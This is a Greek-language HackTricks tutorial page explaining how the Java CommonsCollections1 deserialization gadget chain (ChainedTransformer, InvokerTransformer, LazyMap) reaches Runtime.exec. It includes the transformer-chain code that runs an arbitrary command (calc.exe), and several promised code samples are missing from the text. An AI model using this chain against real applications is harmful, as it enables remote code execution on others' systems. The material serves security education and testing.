Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ!
Εάν δεν γνωρίζετε τίποτα για τα φορτία αποσυναρμολόγησης σε Java, μπορεί να είναι δύσκολο να καταλάβετε γιατί αυτός ο κώδικας θα εκτελέσει έναν υπολογιστή.
Καταρχάς, πρέπει να γνωρίζετε ότι ένας Μετασχηματιστής στην Java είναι κάτι που λαμβάνει μια κλάση και την μετατρέπει σε μια διαφορετική.
Επίσης, είναι ενδιαφέρον να γνωρίζετε ότι το φορτίο που εκτελείται εδώ είναι ισοδύναμο με:
Λοιπόν, πώς το πρώτο payload παρουσιάζεται ισοδύναμο με αυτά τα "απλά" one-liners;
Πρώτον, μπορείτε να παρατηρήσετε στο payload ότι δημιουργείται μια αλυσίδα (πίνακας) μετασχηματισμών:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Εάν διαβάσετε τον κώδικα, θα παρατηρήσετε ότι εάν κάπως αλυσίδωσετε τη μετατροπή του πίνακα, μπορείτε να εκτελέσετε αυθαίρετες εντολές.
Στην τελευταία ενότητα του payload μπορείτε να δείτε ότι δημιουργείται ένα αντικείμενο Map. Στη συνέχεια, εκτελείται η συνάρτηση decorate από το LazyMap με το αντικείμενο map και τους αλυσιδωτούς μετασχηματιστές. Από τον παρακάτω κώδικα μπορείτε να δείτε ότι αυτό θα οδηγήσει στην αντιγραφή των αλυσιδωτών μετασχηματιστών μέσα στο χαρακτηριστικό lazyMap.factory.
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
Και στη συνέχεια εκτελείται το μεγάλο φινάλε: lazyMap.get("οτιδήποτε");
Αυτός είναι ο κώδικας της συνάρτησης get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
Και αυτός είναι ο κώδικας της συνάρτησης transform
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Λοιπόν, θυμηθείτε ότι μέσα στο εργοστάσιο είχαμε αποθηκεύσει το chainedTransformer και μέσα στη συνάρτηση transform περνάμε από όλους αυτούς τους συνδεδεμένους μετασχηματιστές και εκτελούμε έναν έναν. Το αστείο είναι ότι κάθε μετασχηματιστής χρησιμοποιεί το objectως είσοδο και το object είναι το αποτέλεσμα από τον τελευταίο εκτελεσμένο μετασχηματιστή. Επομένως, όλες οι μετασχηματίσεις εκτελούνται αλυσιδωτά εκτελώντας το κακόβουλο φορτίο.
Περίληψη
Στο τέλος, λόγω του τρόπου που το lazyMap διαχειρίζεται τους αλυσιδωτούς μετασχηματιστές μέσα στη μέθοδο get, είναι σαν να εκτελούμε τον παρακάτω κώδικα:
Σημείωση πώς η value είναι η είσοδος κάθε μετασχηματισμού και η έξοδος του προηγούμενου μετασχηματισμού, επιτρέποντας την εκτέλεση ενός μόνο εντολιογράμματος:
Να σημειωθεί ότι εδώ εξηγήθηκαν οι gadgets που χρησιμοποιούνται για το payload ComonsCollections1. Αλλά δεν αναφέρεται πώς ξεκινά η εκτέλεση όλου αυτού. Μπορείτε να δείτε εδώ ότι το ysoserial, για να εκτελέσει αυτό το payload, χρησιμοποιεί ένα αντικείμενο AnnotationInvocationHandler επειδή όταν αυτό το αντικείμενο αποσειριοποιηθεί, θα καλέσει τη συνάρτηση payload.get() που θα εκτελέσει ολόκληρο το payload.
Καθυστέρηση Νήματος Java
Αυτό το payload μπορεί να είναι χρήσιμο για να εντοπίσετε αν η ιστοσελίδα είναι ευάλωτη, καθώς θα εκτελέσει μια καθυστέρηση αν είναι.
Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; Ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF; Ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!